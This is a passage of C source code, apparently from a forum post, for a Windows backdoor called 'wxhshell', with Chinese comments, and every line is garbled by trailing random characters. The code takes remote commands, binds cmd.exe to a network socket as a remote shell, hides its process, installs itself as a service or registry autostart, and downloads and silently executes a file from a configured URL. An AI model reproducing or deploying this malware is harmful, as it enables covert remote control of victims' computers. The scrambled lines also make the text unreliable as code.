  case '?': { y4N2gBTKu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  uWkn}P  
    break; /2x@Z>  
  } h1+y.4  
  // 安装 'j$n;3  
  case 'i': { #:xv]qb`k  
    if(Install()) b#W(&b^q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D zdKBJT+  
    else /wPW2<|"X.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "Ky&x$dje  
    break; 5I&Dk4v  
    } B4eV$~<  
  // 卸载 z#GrwE,r   
  case 'r': { ^IqD^(Kb  
    if(Uninstall()) ziXI$B4-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?>DwNz^.!  
    else OjurfVw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eL1)_M;{  
    break; PM3fJhx  
    } fbW<c`LH  
  // 显示 wxhshell 所在路径 |F49<7XB[~  
  case 'p': { X }Fqif4A  
    char svExeFile[MAX_PATH]; M:t"is  
    strcpy(svExeFile,"\n\r"); 5Bp>*MR/".  
      strcat(svExeFile,ExeFile); Huc|HL#C  
        send(wsh,svExeFile,strlen(svExeFile),0); 8 Y))/]R  
    break; q"u,r6ED  
    } /Q2HN(Y  
  // 重启 g4Nl"s*~  
  case 'b': { :_:o%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :KI0j%>2y  
    if(Boot(REBOOT)) P=m l;xp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $msf~M*  
    else { *})Np0k  
    closesocket(wsh); =kb/4eRg  
    ExitThread(0); M;sT+Z{  
    } _xGC0f (  
    break; J~}i}|YC>  
    } {yM@3v~  
  // 关机 B:6VD /qC  
  case 'd': { Q6r7UM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1"No~/_  
    if(Boot(SHUTDOWN)) oO9yI^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KeWIC,kq  
    else { :'sMrf_EA  
    closesocket(wsh); x\!vr.  
    ExitThread(0); gT2k}5d}p  
    } 7Mb-v}  
    break; l%# z  
    } d5'4RYfkQ  
  // 获取shell Go !{T  
  case 's': { cHon' tS  
    CmdShell(wsh); FO)`&s"&2  
    closesocket(wsh); 3-gy)5.x e  
    ExitThread(0); Wql,*|  
    break; @;Xa&*   
  } `.F3&pA  
  // 退出 R) J/z  
  case 'x': { P9M. J^<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5}:`CC2,S~  
    CloseIt(wsh); (/C 8\}Ox  
    break; c3J12+~;  
    } ' BY|7j~  
  // 离开 :`Xg0J+P  
  case 'q': { Is>~P*2Y=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "]B%V!@  
    closesocket(wsh); $ spk.j  
    WSACleanup(); Svm'ds7>  
    exit(1); RP%FMb}nt  
    break; qP72JxT  
        } :_kZkWD5  
  } B>%;"OMp  
  } qsdgG1<  
.QB)Y* z  
  // 提示信息 g1&q6wCg|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HJ;!'@  
} pQk@ +r  
  } U3|9a8^H  
SzyaVBD3  
  return; kNoS% ?1,  
} ]l6niYVB2  
/-Nq DRmJ  
// shell模块句柄 d8&T62Dnd4  
int CmdShell(SOCKET sock) TiD|.a8S  
{ 9/dADJe0b  
STARTUPINFO si; B:(a?X-7  
ZeroMemory(&si,sizeof(si)); 4oN*J +"=+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F87c?Vh)K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $tDM U3,W  
PROCESS_INFORMATION ProcessInfo; eDsc_5I  
char cmdline[]="cmd"; z|O3pQn~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K$5mDScoJ  
  return 0; [m(n-Mu F  
} N_?15R7h  
"/d  
// 自身启动模式 5?8jj  
int StartFromService(void) ))E| SAr  
{ v>sjS3  
typedef struct !&R|P|7qN}  
{ @# GS4I  
  DWORD ExitStatus; 4c@_u8  
  DWORD PebBaseAddress; Z*YS7 ~  
  DWORD AffinityMask; uIR/^o  
  DWORD BasePriority; R[}fr36>/  
  ULONG UniqueProcessId; d?)Ic1][  
  ULONG InheritedFromUniqueProcessId; ozW\`  
}   PROCESS_BASIC_INFORMATION; KU;J2Kt  
^ >#@qMw  
PROCNTQSIP NtQueryInformationProcess; _eUd RL>  
@P<aTRy,f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L@`:mK+;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A5RM&y  
{}"a_L&[;  
  HANDLE             hProcess; {2L V0:k2  
  PROCESS_BASIC_INFORMATION pbi; Qb'Q4@.  
p']{WLDj2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C#P7@JE  
  if(NULL == hInst ) return 0; dY`P  
yQ| V7G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ko6[Ej:TBo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bZu2.?{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o&Y R\BI/  
fHXz{,?/w  
  if (!NtQueryInformationProcess) return 0; )p[Qj58  
yZ,S$tSR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  ](>YjE0  
  if(!hProcess) return 0; fr8hT(,s)  
! l"*DR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VN]j*$5   
'}E"M db  
  CloseHandle(hProcess); SbH} cu8  
\!wo<UX%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BQ(sjJ$v6F  
if(hProcess==NULL) return 0; `h<>_zpjY  
j<}y(~  
HMODULE hMod; ORFi0gFbA  
char procName[255]; TmEh$M  
unsigned long cbNeeded; tD> qHR  
c!]yT0v&s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dm"|\7  
_g6H&no[  
  CloseHandle(hProcess); U[6 ~ad a  
fnK H<  
if(strstr(procName,"services")) return 1; // 以服务启动 wc?YzXP+  
U|v@v@IBA  
  return 0; // 注册表启动 D'Uv7Mis  
} D{M& >.  
Wo6C0Z3g}  
// 主模块 OhTd>~R`<  
int StartWxhshell(LPSTR lpCmdLine) p?sFX$S  
{ ~>rn q7j  
  SOCKET wsl; a<P?4tbF  
BOOL val=TRUE; DlQ*'PX7  
  int port=0; vUB*Qm]Y\  
  struct sockaddr_in door; mg<S7+  
6nW]Q^N}  
  if(wscfg.ws_autoins) Install(); oPrK{flm  
G<`6S5J>hr  
port=atoi(lpCmdLine); y~Vl0f;  
M)CQ|P  
if(port<=0) port=wscfg.ws_port; %QQJSake|  
bH.f4-.u>)  
  WSADATA data; ab>>W!r@!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e]D TK*W~  
Em/? 4&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +lw1v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AP0z~e  
  door.sin_family = AF_INET; Mi7LyIu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); UGQH wz  
  door.sin_port = htons(port); \8/$ZEom  
:Kk+wp}f #  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j0A9;AP;;C  
closesocket(wsl); %h& F  
return 1; .`/6[Zp  
} < [q{0,  
h{?cs%lZ  
  if(listen(wsl,2) == INVALID_SOCKET) { @Mf ZP~T+  
closesocket(wsl); W4]jx ]  
return 1; 0134mw%jk  
} 0> U7]wZKc  
  Wxhshell(wsl); +}Qq#^:_\  
  WSACleanup(); CB>*(Mu  
1U8/.x|  
return 0; 2I0Zr;\f  
b@9d@@/wx  
} O{wt0 \P  
=o_zsDv  
// 以NT服务方式启动 YeVkX{y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k .W1bF9n6  
{ x k&# fW^r  
DWORD   status = 0; @@#(<[S\B  
  DWORD   specificError = 0xfffffff; E/3<8cV  
)KUEkslR:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nOq`Cwh9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EsjZ;D, c(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5.F/>?<  
  serviceStatus.dwWin32ExitCode     = 0; C*Wyw]:r  
  serviceStatus.dwServiceSpecificExitCode = 0; ?d@zTAI  
  serviceStatus.dwCheckPoint       = 0; H1hADn  
  serviceStatus.dwWaitHint       = 0; s@pIcNvx  
I0}G, q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mC./,a[  
  if (hServiceStatusHandle==0) return; $DhW=(YM_a  
Q =4~u z|  
status = GetLastError(); k;!}nQ&  
  if (status!=NO_ERROR) Ex4)R2c*  
{ YI+o:fGC5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rz.`$  
    serviceStatus.dwCheckPoint       = 0; }/}eZCaG  
    serviceStatus.dwWaitHint       = 0; ~o8x3`CoF  
    serviceStatus.dwWin32ExitCode     = status; X?n($z/ {  
    serviceStatus.dwServiceSpecificExitCode = specificError; _TjRvILC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k1Sr7|  
    return; TQ25"bWi  
  } /e]R0NI  
\>c1Z5H>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4x?4[J~u[  
  serviceStatus.dwCheckPoint       = 0; 4[n[Ch=lu  
  serviceStatus.dwWaitHint       = 0; p%-m" u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); </23*n]  
} Ed>n/)Sm  
0"DS>:Ntk  
// 处理NT服务事件,比如:启动、停止 YAYwrKt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gCv[AIE_m  
{ osI0m7ws:  
switch(fdwControl) V(3rTDg  
{ j:xm>X'  
case SERVICE_CONTROL_STOP: k;pU8y6Y  
  serviceStatus.dwWin32ExitCode = 0; DUyUA'*4n|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gv/yfiA?  
  serviceStatus.dwCheckPoint   = 0; !b'!7p  
  serviceStatus.dwWaitHint     = 0; ?/^{sW' |  
  { oE$zOS&2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C&&33L  
  } HC(o;,spO  
  return; Vl0Y'@{  
case SERVICE_CONTROL_PAUSE: Zl{ DqC^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Tu-I".d+  
  break; fP;2qho  
case SERVICE_CONTROL_CONTINUE: X A-,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ls{]ohP  
  break; 7*g'4p-  
case SERVICE_CONTROL_INTERROGATE: 0t.v  
  break; G[\3)@I  
}; l8RKwECdPn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G33'Cgo:,  
} Cp^%;(@  
% e1`wMa  
// 标准应用程序主函数 );L+)UV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Tizjh&*^  
{ !E9A=u{  
I8LoXY  
// 获取操作系统版本 4nGr?%>  
OsIsNt=GetOsVer(); <x\I*%(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <O9.GHV1v  
F/0x` l  
  // 从命令行安装 H263<^   
  if(strpbrk(lpCmdLine,"iI")) Install(); Mx=L lC)  
s]i<D9h  
  // 下载执行文件 <R8!fc{`  
if(wscfg.ws_downexe) { cT3s{k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O%rt7qV"g2  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0A.9<&Lod  
} q=_tjg  
rI4N3d;C  
if(!OsIsNt) { yNN_}9  
// 如果时win9x,隐藏进程并且设置为注册表启动 fg~9{1B  
HideProc(); xZp`Ke!  
StartWxhshell(lpCmdLine); MI*@^{G  
} c4xXsUBQk  
else {b90c'8?a  
  if(StartFromService()) h/\/dp/tt  
  // 以服务方式启动 <!I^xo [  
  StartServiceCtrlDispatcher(DispatchTable); I=o/1:[-  
else  iT&Y9  
  // 普通方式启动 'EsdYx5C  
  StartWxhshell(lpCmdLine); J5*(PxDF  
eHH qm^1z  
return 0; k{B;J\`E;  
}
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只看该作者 1 发表于: 2006-10-10
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